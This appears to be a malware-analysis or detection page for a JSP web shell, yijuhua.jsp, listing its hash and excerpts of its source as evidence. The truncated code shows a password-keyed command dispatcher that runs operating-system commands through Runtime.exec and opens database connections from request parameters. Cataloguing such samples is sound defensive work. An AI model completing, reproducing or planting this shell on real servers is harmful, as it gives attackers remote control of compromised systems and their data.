yijuhua.jsp
Webshell with command execution
Web shells - generated from file JJJsp2.jspJSP page combines request access with Runtime execution
SHA-256f4a0353cab22847ddfe6a2f875cb941e5e4dd78c3eadc33d0bc9f2a38bccf606
MaleculeO(C)H₂(CmPo)Md(Pt)Th
Evidence
1<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
2<%!
3 String Pwd = "a";
4 String cs = "UTF-8";
5 String EC(String s) throws Exception {
6 return new String(s.getBytes("ISO-8859 …
8:28… rows Exception {
9 String[] x = s.trim().split("\r\n");
10 Class.forName(x[0].trim());
11 if(x[1].indexOf("jdbc:oracle")!=-1){
12 return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
13 }else{
14 Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
15 if (x.length > 4) {
16 c.setCatalog(x[4 …
⋯7 lines
215%>
216<%
217 cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs;
218 response.setContentType("text/html");
219 response.setCharacterEncoding(cs);
220 StringBuffer sb = new StringBuffer("");
221 try {
222 String Z = EC(r …
269:11… f (Z.equals("M")) {
270 String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
271 Process p = Runtime.getRuntime().exec(c);
272 MM(p.getInputStream(), sb);
273 MM(p.getErrorStream(), sb);
⋯5 lines
279 PP(z1, sb);
280 } else if (Z.equals("Q")) {
281 QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
282 }
283 } catch (Exception e) {
⋯5 lines